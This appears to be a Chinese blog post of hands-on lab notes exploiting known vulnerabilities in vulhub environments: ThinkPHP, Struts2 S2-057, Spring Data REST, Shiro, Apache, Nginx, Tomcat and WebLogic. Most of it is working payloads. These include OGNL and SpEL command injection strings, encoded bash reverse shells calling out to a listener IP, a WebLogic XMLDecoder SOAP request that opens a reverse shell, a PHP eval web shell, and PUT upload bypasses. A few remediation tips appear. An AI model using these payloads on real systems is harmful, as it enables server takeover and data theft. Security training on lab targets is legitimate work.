框架漏洞练习

Thinkphp(TP)

Thinkphp5x远程命令执⾏及getshell

环境搭建:

vulhub/thinkphp/5-rce
docker-compose up -d

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

访问1.php->成功!

使用webshell并连接:

struts2

S2-057远程执⾏代码漏洞

环境搭建:

cd /vulhub/struts2/s2-057
docker-compose up -d

访问:

poc:

/struts2-showcase/${(123+123)}/actionChain1.action

访问这个 看是否 123+123 会相加

构造poc并替换请求内容:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在进行url编码:

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

BP抓包->重放器访问:

Spring

Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

环境搭建:

cd /vulhub/spring/CVE-2017-8046
docker-compose up -d

访问目录:

/customers/1

抓包:将方法弄成PATCH 发送数据

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

去靶机的终端:

docker exec -it 容器id /bin/bash

看是否 在/tmp创建一个叫success的文件:

创建成功!

反弹shell:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMjgvODA4MCAwPiYx}|{base64,-d}|{bash,-i}
bash -i >& /dev/tcp/192.168.222.128/9999 0>&1

将反弹shell的代码->ascii编码十进制->替换

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,73,121,77,105,52,120,77,106,103,118,79,84,107,53,79,83,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

开启监听:

nc -lvvp 9999

发送数据包:

Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

环境搭建:

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

使用工具:

执行命令:

Apache

未知扩展名解析漏洞

在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx

环境搭建:
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d

访问:

在这个靶场中 可以使用多后缀名的方式 比如上传一个1.php.jpg上传之后访问:

成功! 如果上传的是shell文件就可以用蚁剑等等 getshell了

AddHandler导致的解析漏洞

⽬录遍历漏洞

漏洞修复:
在httpd.conf⽂件中找到Options + Indexes + FollowSymLinks + ExecCGI并修改成
Options -Indexes + FollowSymLinks + ExecCGI并保存(把+修改为-)
+ Indexes 允许⽬录浏览
— Indexes 禁⽌⽬录浏览

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存 在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器的安全策略

首先上传一句话木马 使用bp抓包拦截 在这里加个空格

放包访问:evil.php%0A

Nginx

⽂件解析漏洞

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的,当URL中有不存在的文件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件
制作一个最简单的图片马
GIF89a
<?php @eval($_POST['cmd']);?>

使⽤ 1.jpg/.php 绕过:

⽂件名逻辑漏洞(CVE-2013-4547)

这⼀漏洞的原理是⾮法字符空格和截⽌符(\0)会导致Nginx解析URI时的有限状态机混乱,
此漏洞可导致⽬录跨越及代码执⾏,其影响版本为:nginx 0.8.41 – 1.5.6

环境搭建:

cd /vulhub/nginx/CVE-2013-4547
docker-compose up -d

上传文件抓包:

在该⽂件名最后添加⼀个空格

将 2 e , 2 e , 2 e 修 改 为 2 0 , 0 0 , 2 e , 发 包 :

漏洞修复:升级nginx 

tomcat

tomcat是⼀个开源⽽且免费的jsp服务器,属于轻量级应⽤服务器。它可以实现JavaWeb程
序的装载,是配置JSP(Java Server Page)和JAVA系统必备的⼀款环境

Tomcat 远程代码执⾏漏洞(CVE-2017-12615)

当 Tomcat运⾏在Windows操作系统时,且启⽤了HTTP PUT请求⽅法(例如,将
readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精⼼构造的攻击请求数据
包向服务器上传包含任意代码的 JSP ⽂件,JSP⽂件中的恶意代码将能被服务器执⾏。导致服务
器上的数据泄露或获取服务器权限。
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d

⾸⻚抓包,修改为 PUT ⽅式提交,并写⼊⽊⻢:

⽀持三种上传绕过⽅式,默认使⽤ put 加⽂件名是失败的,需要绕过:

PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

直接写入 会失败:

/shell.jsp/成功:

/shell.jsp%20成功:

/shell.jsp::$DATA成功:

访问:

哥斯拉连接:

漏洞修复: 设置 readonly为true

tomcat弱⼝令&war远程部署

在tomcat8环境下默认进⼊后台的密码为tomcat/tomcat,未修改造成未授权即可进⼊后
台,或者管理员把密码设置成弱⼝令。
使⽤⼯具对其进⾏穷举,得到密码后,也可以进⾏后台上传恶意代码控制服务器。
cd vulhub/tomcat/tomcat8
docker-compose up -d

默认账号密码: tomcat/tomcat

制作war包, 将jsp⽊⻢压缩为zip,然后修改后缀为war就可以了

访问:

漏洞修复:

1.设置强口令

2.删除manger⽂件。

tomcat 远程代码执⾏(CVE-2019-0232)

Apache Tomcat⽂件包含漏洞(CVE-2020-1938)

Tomcat是Apache开源组织开发的⽤于处理HTTP服务的项⽬,两者都是免费的,都可以做
为独⽴的 Web服务器运⾏。Apache Tomcat服务器存在⽂件包含漏洞,攻击者可利⽤该漏洞读
取或包含 Tomcat 上所有 webapp ⽬录下的任意⽂件,如:webapp 配置⽂件或源代码等

环境搭建:

 cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
tomcat默认的conf/server.xml中配置了2个Connector,⼀个为8080的对外提供的HTTP协
议端⼝,另外⼀个就是默认的8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip

使用工具:
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.13.18

WebLogic

weblogic 弱⼝令getshell漏洞

在weblogic搭建好之后没有修改进⼊后台的密码 导致弱⼝令登录获得webshell

环境搭建:

cd vulhub/weblogic/weak_password
docker-compose up -d

访问登录页面: login

点击->部署->安装:

上传war包,jsp木马压缩成zip,修改后缀为war,上传

访问:

哥斯拉连接:

XMLDecoder反序列化漏洞(CVE-2017-3506)

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执⾏漏洞
CVE-2017- 10271,Oracle官⽅在2017年10⽉份发布了该漏洞的补丁,但没有公开漏洞细节,
如果企业未及时安装补丁,存在被攻击的⻛险。对企业服务器发起了⼤范围远程攻击,对⼤量企
业的服务器造成了严重威胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0。

环境搭建:

cd vulhub/weblogic/weak_password
docker-compose up -d

验证是否存在wls-wsat组件:

出现这个即存在:

在当前页抓包,替换下面请求包:进行反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机IP:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/反弹到的IP/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

或者使用工具:

执行命令:

webshell:

wls-wsat反序列化漏洞(CVE-2019-2725)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值